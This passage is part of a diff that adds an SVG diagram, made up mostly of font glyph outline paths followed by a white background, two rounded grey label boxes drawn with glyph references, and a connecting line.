7.992188 -0.578125 7.953125 -0.578125 Z M 8.640625 -0.96875 C 8.617188 -0.988281 8.59375 -1 8.5625 -1 C 8.507812 -1 8.472656 -0.96875 8.453125 -0.90625 L 8.4375 -0.90625 L 8.421875 -0.96875 L 8.3125 -0.96875 L 8.3125 -0.484375 L 8.453125 -0.484375 L 8.453125 -0.796875 C 8.453125 -0.835938 8.488281 -0.859375 8.5625 -0.859375 L 8.578125 -0.859375 C 8.585938 -0.859375 8.59375 -0.851562 8.59375 -0.84375 C 8.59375 -0.84375 8.597656 -0.84375 8.609375 -0.84375 Z M 8.71875 -0.84375 C 8.789062 -0.875 8.847656 -0.890625 8.890625 -0.890625 C 8.953125 -0.890625 8.984375 -0.863281 8.984375 -0.8125 L 8.984375 -0.78125 C 8.960938 -0.78125 8.945312 -0.78125 8.9375 -0.78125 C 8.925781 -0.789062 8.910156 -0.796875 8.890625 -0.796875 C 8.734375 -0.796875 8.65625 -0.734375 8.65625 -0.609375 C 8.65625 -0.515625 8.707031 -0.46875 8.8125 -0.46875 C 8.894531 -0.46875 8.953125 -0.5 8.984375 -0.5625 L 9 -0.5625 L 9.015625 -0.484375 L 9.125 -0.484375 C 9.113281 -0.515625 9.109375 -0.554688 9.109375 -0.609375 L 9.109375 -0.8125 C 9.109375 -0.9375 9.046875 -1 8.921875 -1 C 8.867188 -1 8.828125 -0.988281 8.796875 -0.96875 C 8.765625 -0.957031 8.734375 -0.945312 8.703125 -0.9375 Z M 8.875 -0.578125 C 8.820312 -0.578125 8.796875 -0.601562 8.796875 -0.65625 C 8.796875 -0.695312 8.828125 -0.71875 8.890625 -0.71875 C 8.910156 -0.71875 8.925781 -0.710938 8.9375 -0.703125 C 8.945312 -0.703125 8.960938 -0.703125 8.984375 -0.703125 L 8.984375 -0.65625 C 8.953125 -0.601562 8.914062 -0.578125 8.875 -0.578125 Z M 9.625 -1.140625 L 9.0625 -1.140625 L 9.0625 -1.03125 L 9.265625 -1.03125 L 9.265625 -0.484375 L 9.40625 -0.484375 L 9.40625 -1.03125 L 9.625 -1.03125 Z M 9.765625 -0.96875 L 9.625 -0.96875 L 9.84375 -0.484375 C 9.832031 -0.421875 9.800781 -0.390625 9.75 -0.390625 L 9.734375 -0.421875 L 9.703125 -0.3125 C 9.722656 -0.289062 9.753906 -0.28125 9.796875 -0.28125 C 9.847656 -0.28125 9.90625 -0.363281 9.96875 -0.53125 L 10.15625 -0.96875 L 10 -0.96875 L 9.921875 -0.703125 L 9.921875 -0.609375 L 9.890625 -0.609375 L 9.875 -0.703125 Z M 10.203125 -0.28125 L 10.34375 -0.28125 L 10.34375 -0.5 C 10.363281 -0.476562 10.394531 -0.46875 10.4375 -0.46875 C 10.601562 -0.46875 10.6875 -0.554688 10.6875 -0.734375 C 10.6875 -0.910156 10.625 -1 10.5 -1 C 10.4375 -1 10.378906 -0.972656 10.328125 -0.921875 L 10.3125 -0.921875 L 10.296875 -0.96875 L 10.203125 -0.96875 Z M 10.453125 -0.890625 C 10.515625 -0.890625 10.546875 -0.835938 10.546875 -0.734375 C 10.546875 -0.628906 10.503906 -0.578125 10.421875 -0.578125 C 10.398438 -0.578125 10.375 -0.585938 10.34375 -0.609375 L 10.34375 -0.796875 C 10.34375 -0.859375 10.378906 -0.890625 10.453125 -0.890625 Z M 11.15625 -0.609375 C 11.132812 -0.585938 11.09375 -0.578125 11.03125 -0.578125 C 10.945312 -0.578125 10.898438 -0.613281 10.890625 -0.6875 L 11.234375 -0.6875 L 11.234375 -0.796875 C 11.234375 -0.867188 11.210938 -0.921875 11.171875 -0.953125 C 11.128906 -0.984375 11.078125 -1 11.015625 -1 C 10.847656 -1 10.765625 -0.90625 10.765625 -0.71875 C 10.765625 -0.550781 10.847656 -0.46875 11.015625 -0.46875 C 11.054688 -0.46875 11.09375 -0.472656 11.125 -0.484375 C 11.164062 -0.492188 11.195312 -0.507812 11.21875 -0.53125 Z M 11.015625 -0.890625 C 11.085938 -0.890625 11.117188 -0.851562 11.109375 -0.78125 L 10.90625 -0.78125 C 10.90625 -0.851562 10.941406 -0.890625 11.015625 -0.890625 Z M 11.015625 -0.890625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-1">
+<path style="stroke:none;" d="M 7.171875 -5.828125 L 2.515625 -5.828125 L 2.515625 0 L 1.15625 0 L 1.15625 -12.640625 L 2.515625 -12.640625 L 2.515625 -7.078125 L 7.171875 -7.078125 L 7.171875 -12.640625 L 8.53125 -12.640625 L 8.53125 0 L 7.171875 0 Z M 7.171875 -5.828125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-2">
+<path style="stroke:none;" d="M 6.46875 -0.609375 C 6.175781 -0.347656 5.804688 -0.144531 5.359375 0 C 4.921875 0.144531 4.453125 0.21875 3.953125 0.21875 C 3.390625 0.21875 2.898438 0.109375 2.484375 -0.109375 C 2.066406 -0.335938 1.722656 -0.660156 1.453125 -1.078125 C 1.179688 -1.492188 0.984375 -1.988281 0.859375 -2.5625 C 0.734375 -3.144531 0.671875 -3.796875 0.671875 -4.515625 C 0.671875 -6.054688 0.953125 -7.226562 1.515625 -8.03125 C 2.078125 -8.84375 2.878906 -9.25 3.921875 -9.25 C 4.253906 -9.25 4.585938 -9.207031 4.921875 -9.125 C 5.253906 -9.039062 5.550781 -8.867188 5.8125 -8.609375 C 6.082031 -8.359375 6.296875 -8.003906 6.453125 -7.546875 C 6.617188 -7.085938 6.703125 -6.492188 6.703125 -5.765625 C 6.703125 -5.554688 6.691406 -5.332031 6.671875 -5.09375 C 6.648438 -4.863281 6.628906 -4.625 6.609375 -4.375 L 2.015625 -4.375 C 2.015625 -3.851562 2.054688 -3.378906 2.140625 -2.953125 C 2.234375 -2.535156 2.367188 -2.175781 2.546875 -1.875 C 2.722656 -1.582031 2.953125 -1.351562 3.234375 -1.1875 C 3.523438 -1.03125 3.878906 -0.953125 4.296875 -0.953125 C 4.617188 -0.953125 4.941406 -1.007812 5.265625 -1.125 C 5.585938 -1.25 5.832031 -1.398438 6 -1.578125 Z M 5.453125 -5.453125 C 5.472656 -6.359375 5.34375 -7.019531 5.0625 -7.4375 C 4.789062 -7.863281 4.414062 -8.078125 3.9375 -8.078125 C 3.382812 -8.078125 2.941406 -7.863281 2.609375 -7.4375 C 2.285156 -7.019531 2.097656 -6.359375 2.046875 -5.453125 Z M 5.453125 -5.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-3">
+<path style="stroke:none;" d="M 3.3125 -3.203125 L 3.6875 -1.4375 L 3.78125 -1.4375 L 4.046875 -3.203125 L 5.421875 -9.03125 L 6.734375 -9.03125 L 4.59375 -0.921875 C 4.414062 -0.273438 4.242188 0.328125 4.078125 0.890625 C 3.910156 1.460938 3.726562 1.957031 3.53125 2.375 C 3.332031 2.789062 3.109375 3.113281 2.859375 3.34375 C 2.617188 3.582031 2.328125 3.703125 1.984375 3.703125 C 1.648438 3.703125 1.359375 3.648438 1.109375 3.546875 L 1.3125 2.3125 C 1.488281 2.375 1.660156 2.382812 1.828125 2.34375 C 1.992188 2.3125 2.148438 2.207031 2.296875 2.03125 C 2.453125 1.863281 2.59375 1.613281 2.71875 1.28125 C 2.84375 0.957031 2.953125 0.53125 3.046875 0 L 0.125 -9.03125 L 1.609375 -9.03125 Z M 3.3125 -3.203125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-4">
+<path style="stroke:none;" d="M 1.828125 -12.640625 L 3.171875 -12.640625 L 3.171875 -6.375 L 2.90625 -3.203125 L 2.09375 -3.203125 L 1.828125 -6.375 Z M 1.59375 -0.8125 C 1.59375 -1.144531 1.671875 -1.394531 1.828125 -1.5625 C 1.992188 -1.738281 2.21875 -1.828125 2.5 -1.828125 C 2.769531 -1.828125 2.984375 -1.738281 3.140625 -1.5625 C 3.304688 -1.394531 3.390625 -1.144531 3.390625 -0.8125 C 3.390625 -0.457031 3.304688 -0.195312 3.140625 -0.03125 C 2.984375 0.132812 2.769531 0.21875 2.5 0.21875 C 2.21875 0.21875 1.992188 0.132812 1.828125 -0.03125 C 1.671875 -0.195312 1.59375 -0.457031 1.59375 -0.8125 Z M 1.59375 -0.8125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-5">
+<path style="stroke:none;" d=""/>
+</symbol>
+<symbol overflow="visible" id="glyph1-6">
+<path style="stroke:none;" d="M 7.765625 -0.484375 C 7.460938 -0.234375 7.082031 -0.0546875 6.625 0.046875 C 6.164062 0.160156 5.6875 0.21875 5.1875 0.21875 C 4.550781 0.21875 3.957031 0.0976562 3.40625 -0.140625 C 2.863281 -0.378906 2.394531 -0.757812 2 -1.28125 C 1.613281 -1.8125 1.3125 -2.488281 1.09375 -3.3125 C 0.882812 -4.144531 0.78125 -5.148438 0.78125 -6.328125 C 0.78125 -7.523438 0.898438 -8.539062 1.140625 -9.375 C 1.390625 -10.207031 1.71875 -10.878906 2.125 -11.390625 C 2.539062 -11.910156 3.015625 -12.285156 3.546875 -12.515625 C 4.085938 -12.742188 4.640625 -12.859375 5.203125 -12.859375 C 5.773438 -12.859375 6.25 -12.816406 6.625 -12.734375 C 7.007812 -12.648438 7.34375 -12.546875 7.625 -12.421875 L 7.296875 -11.203125 C 7.054688 -11.328125 6.769531 -11.425781 6.4375 -11.5 C 6.113281 -11.570312 5.742188 -11.609375 5.328125 -11.609375 C 4.910156 -11.609375 4.515625 -11.515625 4.140625 -11.328125 C 3.765625 -11.140625 3.429688 -10.835938 3.140625 -10.421875 C 2.847656 -10.015625 2.617188 -9.472656 2.453125 -8.796875 C 2.285156 -8.117188 2.203125 -7.296875 2.203125 -6.328125 C 2.203125 -4.566406 2.503906 -3.242188 3.109375 -2.359375 C 3.710938 -1.472656 4.515625 -1.03125 5.515625 -1.03125 C 5.921875 -1.03125 6.285156 -1.085938 6.609375 -1.203125 C 6.929688 -1.316406 7.207031 -1.453125 7.4375 -1.609375 Z M 7.765625 -0.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-7">
+<path style="stroke:none;" d="M 0.96875 -8.484375 C 1.320312 -8.703125 1.75 -8.867188 2.25 -8.984375 C 2.75 -9.109375 3.273438 -9.171875 3.828125 -9.171875 C 4.335938 -9.171875 4.742188 -9.09375 5.046875 -8.9375 C 5.359375 -8.789062 5.597656 -8.585938 5.765625 -8.328125 C 5.941406 -8.078125 6.054688 -7.785156 6.109375 -7.453125 C 6.171875 -7.117188 6.203125 -6.769531 6.203125 -6.40625 C 6.203125 -5.6875 6.1875 -4.984375 6.15625 -4.296875 C 6.125 -3.609375 6.109375 -2.957031 6.109375 -2.34375 C 6.109375 -1.882812 6.125 -1.457031 6.15625 -1.0625 C 6.1875 -0.675781 6.242188 -0.3125 6.328125 0.03125 L 5.328125 0.03125 L 5.015625 -1.03125 L 4.953125 -1.03125 C 4.765625 -0.71875 4.492188 -0.445312 4.140625 -0.21875 C 3.796875 0.0078125 3.332031 0.125 2.75 0.125 C 2.09375 0.125 1.554688 -0.0976562 1.140625 -0.546875 C 0.734375 -1.003906 0.53125 -1.628906 0.53125 -2.421875 C 0.53125 -2.941406 0.613281 -3.375 0.78125 -3.71875 C 0.957031 -4.070312 1.203125 -4.351562 1.515625 -4.5625 C 1.835938 -4.78125 2.21875 -4.9375 2.65625 -5.03125 C 3.101562 -5.125 3.597656 -5.171875 4.140625 -5.171875 C 4.253906 -5.171875 4.367188 -5.171875 4.484375 -5.171875 C 4.609375 -5.171875 4.738281 -5.160156 4.875 -5.140625 C 4.914062 -5.515625 4.9375 -5.847656 4.9375 -6.140625 C 4.9375 -6.828125 4.832031 -7.304688 4.625 -7.578125 C 4.414062 -7.859375 4.039062 -8 3.5 -8 C 3.164062 -8 2.800781 -7.945312 2.40625 -7.84375 C 2.007812 -7.738281 1.675781 -7.609375 1.40625 -7.453125 Z M 4.890625 -4.125 C 4.773438 -4.132812 4.65625 -4.140625 4.53125 -4.140625 C 4.414062 -4.148438 4.296875 -4.15625 4.171875 -4.15625 C 3.878906 -4.15625 3.59375 -4.128906 3.3125 -4.078125 C 3.039062 -4.035156 2.796875 -3.953125 2.578125 -3.828125 C 2.367188 -3.710938 2.195312 -3.550781 2.0625 -3.34375 C 1.9375 -3.132812 1.875 -2.875 1.875 -2.5625 C 1.875 -2.082031 1.988281 -1.707031 2.21875 -1.4375 C 2.457031 -1.175781 2.765625 -1.046875 3.140625 -1.046875 C 3.648438 -1.046875 4.039062 -1.164062 4.3125 -1.40625 C 4.59375 -1.644531 4.785156 -1.910156 4.890625 -2.203125 Z M 4.890625 -4.125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-8">
+<path style="stroke:none;" d="M 5.6875 0 L 5.6875 -5.515625 C 5.6875 -6.410156 5.582031 -7.0625 5.375 -7.46875 C 5.164062 -7.875 4.789062 -8.078125 4.25 -8.078125 C 3.757812 -8.078125 3.359375 -7.929688 3.046875 -7.640625 C 2.734375 -7.347656 2.503906 -6.992188 2.359375 -6.578125 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 2 -9.03125 L 2.234375 -8.078125 L 2.296875 -8.078125 C 2.523438 -8.398438 2.832031 -8.675781 3.21875 -8.90625 C 3.613281 -9.132812 4.082031 -9.25 4.625 -9.25 C 5.007812 -9.25 5.347656 -9.191406 5.640625 -9.078125 C 5.941406 -8.972656 6.191406 -8.789062 6.390625 -8.53125 C 6.585938 -8.269531 6.734375 -7.921875 6.828125 -7.484375 C 6.929688 -7.054688 6.984375 -6.515625 6.984375 -5.859375 L 6.984375 0 Z M 5.6875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-9">
+<path style="stroke:none;" d="M 1.421875 -12.640625 L 2.78125 -12.640625 L 2.78125 0 L 1.421875 0 Z M 1.421875 -12.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-10">
+<path style="stroke:none;" d="M 0.921875 -1.484375 C 1.160156 -1.335938 1.445312 -1.210938 1.78125 -1.109375 C 2.113281 -1.003906 2.453125 -0.953125 2.796875 -0.953125 C 3.191406 -0.953125 3.53125 -1.050781 3.8125 -1.25 C 4.09375 -1.445312 4.234375 -1.769531 4.234375 -2.21875 C 4.234375 -2.59375 4.144531 -2.898438 3.96875 -3.140625 C 3.800781 -3.378906 3.585938 -3.59375 3.328125 -3.78125 C 3.066406 -3.976562 2.785156 -4.15625 2.484375 -4.3125 C 2.191406 -4.476562 1.914062 -4.675781 1.65625 -4.90625 C 1.394531 -5.132812 1.179688 -5.40625 1.015625 -5.71875 C 0.847656 -6.039062 0.765625 -6.441406 0.765625 -6.921875 C 0.765625 -7.691406 0.96875 -8.269531 1.375 -8.65625 C 1.789062 -9.050781 2.378906 -9.25 3.140625 -9.25 C 3.640625 -9.25 4.066406 -9.203125 4.421875 -9.109375 C 4.785156 -9.023438 5.097656 -8.90625 5.359375 -8.75 L 5.015625 -7.65625 C 4.785156 -7.78125 4.519531 -7.878906 4.21875 -7.953125 C 3.925781 -8.035156 3.625 -8.078125 3.3125 -8.078125 C 2.875 -8.078125 2.554688 -7.984375 2.359375 -7.796875 C 2.160156 -7.617188 2.0625 -7.335938 2.0625 -6.953125 C 2.0625 -6.648438 2.144531 -6.394531 2.3125 -6.1875 C 2.476562 -5.976562 2.691406 -5.785156 2.953125 -5.609375 C 3.210938 -5.429688 3.492188 -5.25 3.796875 -5.0625 C 4.097656 -4.882812 4.375 -4.671875 4.625 -4.421875 C 4.882812 -4.179688 5.097656 -3.890625 5.265625 -3.546875 C 5.441406 -3.203125 5.53125 -2.773438 5.53125 -2.265625 C 5.53125 -1.921875 5.472656 -1.597656 5.359375 -1.296875 C 5.253906 -0.992188 5.085938 -0.734375 4.859375 -0.515625 C 4.640625 -0.296875 4.363281 -0.117188 4.03125 0.015625 C 3.707031 0.148438 3.320312 0.21875 2.875 0.21875 C 2.34375 0.21875 1.882812 0.164062 1.5 0.0625 C 1.113281 -0.0390625 0.789062 -0.175781 0.53125 -0.34375 Z M 0.921875 -1.484375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-11">
+<path style="stroke:none;" d="M 0.15625 -9.03125 L 1.265625 -9.03125 L 1.265625 -10.8125 L 2.5625 -11.234375 L 2.5625 -9.03125 L 4.515625 -9.03125 L 4.515625 -7.859375 L 2.5625 -7.859375 L 2.5625 -2.46875 C 2.5625 -1.945312 2.625 -1.566406 2.75 -1.328125 C 2.875 -1.085938 3.082031 -0.96875 3.375 -0.96875 C 3.613281 -0.96875 3.820312 -0.992188 4 -1.046875 C 4.175781 -1.109375 4.363281 -1.179688 4.5625 -1.265625 L 4.828125 -0.234375 C 4.554688 -0.0976562 4.257812 0.00390625 3.9375 0.078125 C 3.625 0.160156 3.289062 0.203125 2.9375 0.203125 C 2.34375 0.203125 1.914062 0.0078125 1.65625 -0.375 C 1.394531 -0.769531 1.265625 -1.410156 1.265625 -2.296875 L 1.265625 -7.859375 L 0.15625 -7.859375 Z M 0.15625 -9.03125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-12">
+<path style="stroke:none;" d="M 0.671875 -4.515625 C 0.671875 -6.140625 0.945312 -7.332031 1.5 -8.09375 C 2.0625 -8.863281 2.863281 -9.25 3.90625 -9.25 C 5.007812 -9.25 5.820312 -8.859375 6.34375 -8.078125 C 6.875 -7.296875 7.140625 -6.109375 7.140625 -4.515625 C 7.140625 -2.878906 6.851562 -1.679688 6.28125 -0.921875 C 5.71875 -0.160156 4.925781 0.21875 3.90625 0.21875 C 2.789062 0.21875 1.972656 -0.171875 1.453125 -0.953125 C 0.929688 -1.734375 0.671875 -2.921875 0.671875 -4.515625 Z M 2.015625 -4.515625 C 2.015625 -3.984375 2.046875 -3.5 2.109375 -3.0625 C 2.179688 -2.632812 2.289062 -2.265625 2.4375 -1.953125 C 2.59375 -1.640625 2.789062 -1.394531 3.03125 -1.21875 C 3.269531 -1.039062 3.5625 -0.953125 3.90625 -0.953125 C 4.53125 -0.953125 5 -1.234375 5.3125 -1.796875 C 5.625 -2.359375 5.78125 -3.265625 5.78125 -4.515625 C 5.78125 -5.035156 5.742188 -5.515625 5.671875 -5.953125 C 5.609375 -6.390625 5.5 -6.765625 5.34375 -7.078125 C 5.195312 -7.390625 5.003906 -7.632812 4.765625 -7.8125 C 4.523438 -7.988281 4.238281 -8.078125 3.90625 -8.078125 C 3.289062 -8.078125 2.820312 -7.789062 2.5 -7.21875 C 2.175781 -6.65625 2.015625 -5.753906 2.015625 -4.515625 Z M 2.015625 -4.515625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-13">
+<path style="stroke:none;" d="M 6.75 -3.109375 C 6.75 -2.492188 6.753906 -1.9375 6.765625 -1.4375 C 6.785156 -0.9375 6.832031 -0.445312 6.90625 0.03125 L 6.015625 0.03125 L 5.71875 -1.046875 L 5.65625 -1.046875 C 5.488281 -0.679688 5.222656 -0.378906 4.859375 -0.140625 C 4.492188 0.0976562 4.0625 0.21875 3.5625 0.21875 C 2.582031 0.21875 1.851562 -0.160156 1.375 -0.921875 C 0.90625 -1.679688 0.671875 -2.875 0.671875 -4.5 C 0.671875 -6.039062 0.960938 -7.207031 1.546875 -8 C 2.128906 -8.789062 2.929688 -9.1875 3.953125 -9.1875 C 4.304688 -9.1875 4.582031 -9.164062 4.78125 -9.125 C 4.988281 -9.082031 5.210938 -9.015625 5.453125 -8.921875 L 5.453125 -12.640625 L 6.75 -12.640625 Z M 5.453125 -7.609375 C 5.285156 -7.753906 5.09375 -7.859375 4.875 -7.921875 C 4.664062 -7.984375 4.390625 -8.015625 4.046875 -8.015625 C 3.410156 -8.015625 2.910156 -7.722656 2.546875 -7.140625 C 2.191406 -6.566406 2.015625 -5.679688 2.015625 -4.484375 C 2.015625 -3.953125 2.046875 -3.472656 2.109375 -3.046875 C 2.179688 -2.617188 2.285156 -2.25 2.421875 -1.9375 C 2.566406 -1.625 2.75 -1.378906 2.96875 -1.203125 C 3.195312 -1.035156 3.472656 -0.953125 3.796875 -0.953125 C 4.660156 -0.953125 5.210938 -1.46875 5.453125 -2.5 Z M 5.453125 -7.609375 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-14">
+<path style="stroke:none;" d="M 1.296875 -12.640625 L 2.546875 -12.640625 L 2.078125 -9.15625 L 1.296875 -9.15625 Z M 1.296875 -12.640625 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-15">
+<path style="stroke:none;" d="M 6.046875 -0.453125 C 5.742188 -0.222656 5.398438 -0.0546875 5.015625 0.046875 C 4.628906 0.160156 4.226562 0.21875 3.8125 0.21875 C 3.226562 0.21875 2.738281 0.109375 2.34375 -0.109375 C 1.945312 -0.335938 1.625 -0.660156 1.375 -1.078125 C 1.132812 -1.492188 0.957031 -1.992188 0.84375 -2.578125 C 0.726562 -3.160156 0.671875 -3.804688 0.671875 -4.515625 C 0.671875 -6.054688 0.941406 -7.226562 1.484375 -8.03125 C 2.035156 -8.84375 2.820312 -9.25 3.84375 -9.25 C 4.3125 -9.25 4.710938 -9.207031 5.046875 -9.125 C 5.390625 -9.039062 5.679688 -8.929688 5.921875 -8.796875 L 5.5625 -7.65625 C 5.082031 -7.9375 4.554688 -8.078125 3.984375 -8.078125 C 3.335938 -8.078125 2.847656 -7.789062 2.515625 -7.21875 C 2.179688 -6.644531 2.015625 -5.742188 2.015625 -4.515625 C 2.015625 -4.023438 2.050781 -3.5625 2.125 -3.125 C 2.195312 -2.6875 2.316406 -2.304688 2.484375 -1.984375 C 2.660156 -1.671875 2.878906 -1.421875 3.140625 -1.234375 C 3.410156 -1.046875 3.742188 -0.953125 4.140625 -0.953125 C 4.453125 -0.953125 4.742188 -1.003906 5.015625 -1.109375 C 5.285156 -1.222656 5.503906 -1.351562 5.671875 -1.5 Z M 6.046875 -0.453125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-16">
+<path style="stroke:none;" d="M 5.296875 0 L 5.296875 -5.359375 C 5.296875 -5.847656 5.28125 -6.257812 5.25 -6.59375 C 5.21875 -6.9375 5.148438 -7.21875 5.046875 -7.4375 C 4.953125 -7.65625 4.820312 -7.816406 4.65625 -7.921875 C 4.488281 -8.023438 4.265625 -8.078125 3.984375 -8.078125 C 3.578125 -8.078125 3.234375 -7.914062 2.953125 -7.59375 C 2.671875 -7.269531 2.472656 -6.90625 2.359375 -6.5 L 2.359375 0 L 1.0625 0 L 1.0625 -9.03125 L 1.984375 -9.03125 L 2.21875 -8.078125 L 2.28125 -8.078125 C 2.53125 -8.421875 2.828125 -8.703125 3.171875 -8.921875 C 3.523438 -9.140625 3.972656 -9.25 4.515625 -9.25 C 4.972656 -9.25 5.347656 -9.148438 5.640625 -8.953125 C 5.941406 -8.753906 6.175781 -8.398438 6.34375 -7.890625 C 6.5625 -8.316406 6.867188 -8.648438 7.265625 -8.890625 C 7.671875 -9.128906 8.113281 -9.25 8.59375 -9.25 C 8.988281 -9.25 9.328125 -9.195312 9.609375 -9.09375 C 9.898438 -8.988281 10.128906 -8.804688 10.296875 -8.546875 C 10.472656 -8.296875 10.601562 -7.953125 10.6875 -7.515625 C 10.769531 -7.085938 10.8125 -6.550781 10.8125 -5.90625 L 10.8125 0 L 9.515625 0 L 9.515625 -5.75 C 9.515625 -6.53125 9.4375 -7.113281 9.28125 -7.5 C 9.132812 -7.882812 8.789062 -8.078125 8.25 -8.078125 C 7.789062 -8.078125 7.425781 -7.929688 7.15625 -7.640625 C 6.882812 -7.359375 6.695312 -6.976562 6.59375 -6.5 L 6.59375 0 Z M 5.296875 0 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-17">
+<path style="stroke:none;" d="M 1.28125 -9.03125 L 2.578125 -9.03125 L 2.578125 0 L 1.28125 0 Z M 1.046875 -11.78125 C 1.046875 -12.0625 1.125 -12.289062 1.28125 -12.46875 C 1.445312 -12.65625 1.664062 -12.75 1.9375 -12.75 C 2.195312 -12.75 2.414062 -12.660156 2.59375 -12.484375 C 2.769531 -12.316406 2.859375 -12.082031 2.859375 -11.78125 C 2.859375 -11.488281 2.769531 -11.257812 2.59375 -11.09375 C 2.414062 -10.9375 2.195312 -10.859375 1.9375 -10.859375 C 1.664062 -10.859375 1.445312 -10.941406 1.28125 -11.109375 C 1.125 -11.273438 1.046875 -11.5 1.046875 -11.78125 Z M 1.046875 -11.78125 "/>
+</symbol>
+<symbol overflow="visible" id="glyph1-18">
+<path style="stroke:none;" d="M 2.21875 -3.203125 C 2.1875 -3.722656 2.21875 -4.1875 2.3125 -4.59375 C 2.414062 -5.007812 2.554688 -5.390625 2.734375 -5.734375 C 2.921875 -6.078125 3.117188 -6.398438 3.328125 -6.703125 C 3.546875 -7.003906 3.75 -7.3125 3.9375 -7.625 C 4.132812 -7.945312 4.296875 -8.285156 4.421875 -8.640625 C 4.546875 -8.992188 4.609375 -9.394531 4.609375 -9.84375 C 4.609375 -10.394531 4.488281 -10.835938 4.25 -11.171875 C 4.007812 -11.515625 3.597656 -11.6875 3.015625 -11.6875 C 2.671875 -11.6875 2.328125 -11.625 1.984375 -11.5 C 1.648438 -11.375 1.347656 -11.210938 1.078125 -11.015625 L 0.578125 -12.03125 C 0.941406 -12.269531 1.335938 -12.46875 1.765625 -12.625 C 2.191406 -12.78125 2.710938 -12.859375 3.328125 -12.859375 C 4.191406 -12.859375 4.84375 -12.601562 5.28125 -12.09375 C 5.726562 -11.59375 5.953125 -10.90625 5.953125 -10.03125 C 5.953125 -9.507812 5.882812 -9.039062 5.75 -8.625 C 5.625 -8.21875 5.460938 -7.84375 5.265625 -7.5 C 5.078125 -7.15625 4.867188 -6.828125 4.640625 -6.515625 C 4.410156 -6.203125 4.195312 -5.878906 4 -5.546875 C 3.800781 -5.222656 3.632812 -4.867188 3.5 -4.484375 C 3.375 -4.109375 3.3125 -3.679688 3.3125 -3.203125 Z M 1.953125 -0.8125 C 1.953125 -1.144531 2.03125 -1.394531 2.1875 -1.5625 C 2.351562 -1.738281 2.578125 -1.828125 2.859375 -1.828125 C 3.128906 -1.828125 3.34375 -1.738281 3.5 -1.5625 C 3.664062 -1.394531 3.75 -1.144531 3.75 -0.8125 C 3.75 -0.457031 3.664062 -0.195312 3.5 -0.03125 C 3.34375 0.132812 3.128906 0.21875 2.859375 0.21875 C 2.578125 0.21875 2.351562 0.132812 2.1875 -0.03125 C 2.03125 -0.195312 1.953125 -0.457031 1.953125 -0.8125 Z M 1.953125 -0.8125 "/>
+</symbol>
+</g>
+</defs>
+<g id="surface7147">
+<rect x="0" y="0" width="441" height="201" style="fill:rgb(100%,100%,100%);fill-opacity:1;stroke:none;"/>
+<path style="fill-rule:evenodd;fill:rgb(100%,100%,100%);fill-opacity:1;stroke-width:0.05;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(100%,100%,100%);stroke-opacity:1;stroke-miterlimit:10;" d="M 7 6 L 29 6 L 29 16 L 7 16 Z M 7 6 " transform="matrix(20,0,0,20,-139,-119)"/>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 8.3 7 C 8.134375 7 8 7.134375 8 7.3 L 8 8.7 C 8 8.865625 8.134375 9 8.3 9 L 13.7 9 C 13.865625 9 14 8.865625 14 8.7 L 14 7.3 C 14 7.134375 13.865625 7 13.7 7 Z M 8.3 7 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-1" x="52.816406" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="62.260851" y="49.00217"/>
+  <use xlink:href="#glyph0-3" x="67.816406" y="49.00217"/>
+  <use xlink:href="#glyph0-4" x="76.427517" y="49.00217"/>
+  <use xlink:href="#glyph0-5" x="88.371962" y="49.00217"/>
+  <use xlink:href="#glyph0-6" x="95.316406" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="103.64974" y="49.00217"/>
+</g>
+<path style="fill-rule:evenodd;fill:rgb(94.901961%,94.901961%,94.901961%);fill-opacity:1;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 22.3 7 C 22.134375 7 22 7.134375 22 7.3 L 22 8.7 C 22 8.865625 22.134375 9 22.3 9 L 27.7 9 C 27.865625 9 28 8.865625 28 8.7 L 28 7.3 C 28 7.134375 27.865625 7 27.7 7 Z M 22.3 7 " transform="matrix(20,0,0,20,-139,-119)"/>
+<g style="fill:rgb(0%,0%,0%);fill-opacity:1;">
+  <use xlink:href="#glyph0-7" x="321.429688" y="49.00217"/>
+  <use xlink:href="#glyph0-8" x="329.763021" y="49.00217"/>
+  <use xlink:href="#glyph0-9" x="337.540799" y="49.00217"/>
+  <use xlink:href="#glyph0-10" x="344.763021" y="49.00217"/>
+  <use xlink:href="#glyph0-11" x="353.65191" y="49.00217"/>
+  <use xlink:href="#glyph0-5" x="358.096354" y="49.00217"/>
+  <use xlink:href="#glyph0-6" x="365.040799" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="373.374132" y="49.00217"/>
+  <use xlink:href="#glyph0-12" x="378.929688" y="49.00217"/>
+  <use xlink:href="#glyph0-6" x="386.707465" y="49.00217"/>
+  <use xlink:href="#glyph0-2" x="395.040799" y="49.00217"/>
+</g>
+<path style="fill:none;stroke-width:0.1;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 11 9 L 11 13 " transform="matrix(20,0,0,20,-139,-119)"/>
